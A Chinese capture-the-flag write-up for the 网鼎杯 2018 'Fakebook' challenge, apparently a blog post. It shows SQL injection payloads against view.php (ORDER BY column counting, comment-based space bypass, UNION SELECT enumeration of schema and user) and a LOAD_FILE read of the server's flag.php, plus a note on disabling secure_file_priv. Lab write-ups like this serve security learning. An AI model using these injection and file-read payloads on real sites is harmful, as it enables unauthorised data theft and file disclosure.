[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

Step

注册用户进入发现查看用户详情:

/view.php?no=1

尝试修改为2

发现报错,可能是文件包含或者SQL注入

于是尝试改成:

/view.php?no=2'

回显:

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
...

应该是可以SQL注入

发现:

/view.php?no=1 order by 4
回显正常
/view.php?no=1 order by 5
回显:
[*] query error! (Unknown column '5' in 'order clause')
表明回显点应该是4个

payload:

(空格绕过:/**/或++)

库名:
/view.php?no=0/**/union/**/select/**/1,database(),3,4
fakebook

表名:
/view.php?no=0/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables/**/where/**/table_schema='fakebook’
users

列名:
/view.php?no=0/**/union/**/select/**/1,group_concat(column_name),3,4/**/from /**/information_schema.columns/**/where/**/table_name='users'
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS	

字段值:
union/**/select/**/1,group_concat(passwd),3,4/**/from/**/users
尝试获取这些字段值发现不在这里

用户:
/view.php?no=0/**/union/**/select/**/1,user(),3,4
root@localhost	
发现是root用户

因为有root权限,尝试直接读取本地文件

SELECT LOAD_FILE('/flag.php');

所以payload:

/view.php?no=0/**/union/**/select/**/1,LOAD_FILE('/var/www/html/flag.php'),3,4

最初没看到flag,看了wp后发现在源代码里注释了,所以要多看源代码

数据库root用户读取本地文件

在大多数数据库系统中,出于安全原因,默认配置通常不允许数据库的root用户直接读取本地文件系统上的文件。然而,某些数据库管理系统(如MySQL或PostgreSQL)提供了特殊的函数或权限,允许数据库用户执行文件读取操作。

以下是在MySQL中允许root用户读取本地文件的步骤:

  1. 确保你的MySQL服务是以root用户运行的,或者你拥有足够的权限来修改服务器配置。
  2. 编辑MySQL的配置文件(通常是my.cnfmy.ini),在[mysqld]部分添加以下行:
[mysqld]
secure_file_priv=''

这将移除对secure_file_priv指令的限制,允许文件读写。

读取方式:

  1. 重启MySQL服务以应用更改。
  2. 使用root用户登录到MySQL,并使用以下命令来读取文件:
SELECT LOAD_FILE('/path/to/your/file.txt');
posted @ 2024-07-31 17:16  8o1er9t  阅读(2)  评论(0编辑  收藏  举报